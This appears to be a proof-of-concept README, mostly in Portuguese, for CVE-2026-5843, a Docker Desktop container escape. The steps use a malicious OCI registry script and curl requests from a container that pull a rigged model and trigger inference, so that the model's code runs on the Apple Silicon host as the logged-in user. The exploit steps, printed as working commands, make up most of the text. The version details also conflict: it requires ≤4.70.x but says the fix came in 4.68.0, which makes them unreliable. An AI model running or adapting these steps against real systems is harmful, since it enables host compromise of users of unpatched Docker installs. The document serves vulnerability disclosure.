
POC de escape de contêiner Docker via mlx-metal importlib
Registro OCI mínimo que serve um modelo malicioso para explorar o caminho de execução importlib de model_file no mlx-lm. Quando o Docker Model Runner carrega o modelo para inferência, model.py executa no host como o usuário logado.
Requer: Docker Desktop ≤ 4.70.x (Apple Silicon) com Model Runner habilitado
# 1. Start the registry on the host
python3 poc_cve_2026_5843.py
# 2. From any container on the Docker network
docker run -it --rm curlimages/curl sh
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name":"localhost:5555/evil/model:latest"}'
curl --max-time 120 -X POST http://model-runner.docker.internal/engines/mlx/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"localhost:5555/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
A saída é gravada em ~/Desktop/mlx.txt no host.
Análise completa: https://davidrochester.com/posts/container-escape-via-inference
trust_remote_code=True, mesma superfície de ataque, corrigido no Docker Desktop 4.68.0